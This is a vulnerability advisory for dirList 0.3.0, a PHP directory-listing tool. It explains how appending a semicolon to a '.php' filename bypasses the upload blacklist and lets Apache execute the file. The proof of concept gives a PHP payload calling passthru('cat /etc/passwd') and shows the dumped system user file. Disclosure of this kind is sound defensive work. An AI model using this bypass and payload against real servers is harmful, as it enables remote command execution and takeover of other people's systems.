dirList 0.3.0 File Upload / Command Execution

dirList version 0.3.0 suffers from file upload bypass and remote command execution vulnerabilities.


MD5 | 610809d93925f3ef53825df4b21b21e6

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[+] Credits / Discovery: John Page
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/DIRLIST-FILE-UPLOAD-BYPASS-CMD-EXEC.txt
[+] ISR: Apparition
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Vendor:
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sourceforge.net


Product:
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dirList v0.3.0


Download:
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sourceforge.net/projects/dir-list/


dirLIST displays files and folders in a given HTTP/FTP directory. It has a wonderful interface with choice of Thumbnail or List
view along with gorgeous icons for different file types. Includes a sleek gallery, web based mp3 player, file admin + more.



Vulnerability Type:
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Bypass File Upload / CMD Execution



CVE Reference:
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N/A


Security Issue:
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When uploading "Banned" file types dirLIST replies with a base64 encoded error message.

e.g.
dXBsb2FkX2Jhbm5lZA==

Decoded it reads, "upload_banned".


Banned files are setup in the "config.php" file.

$banned_file_types = array('.php', '.php3', '.php4', '.php5', '.htaccess', '.htpasswd', '.asp', '.aspx');

When upload a file, the check is made for banned file types.

In "process_upload.php" on Line: 47

if(in_array(strtolower(strrchr($file_name, ".")), $banned_file_types))
{
header("Location: ../index.php?folder=".$_POST['folder']."&err=".base64_encode("upload_banned"));
exit;
}


However, appending a semicolon ";" to end of our PHP file will skirt the security check allowing
us to upload a banned PHP file type, and our PHP file will be executed by server when accessed later.

Apache manual:
Files can have more than one extension, and the order of the extensions is normally irrelevant. For example, if the file welcome.html.fr
maps onto content type text/html and language French then the file welcome.fr.html will map onto exactly the same information. etc..

Therefore, a file named file.php.1, can be interpreted as a PHP file and be executed on server.
This usually works if the last extension is not specified in the list of mime-types known to the web server.

Developers are usually unaware of the "Apache" feature to process files with some odd unexpected extension like PHP.1, PHP.; and such.


Tested on:

Windows 7
Bitnami wampstack-5.6.29-0.
Apache/2.4.23 (Win64)

Linux
XAMPP 5.6.8-0
Apache/2.4.12 (Unix)



Exploit/POC:
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1) Create a banned PHP file to upload named.

"TEST.php.;"

2) Upload to server using dirLIST.


3) Done!


<?php
echo passthru('cat /etc/passwd');
?>

Result:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message
bus:/:/sbin/nologin avahi:x:70:70:Avahi
daemon:/:/sbin/nologin

etc...



Network Access:
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Remote



Impact:
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System Takeover



Severity:
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High


Disclosure Timeline:
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Vendor Notification: No Replies
January 17, 2017 : Public Disclosure



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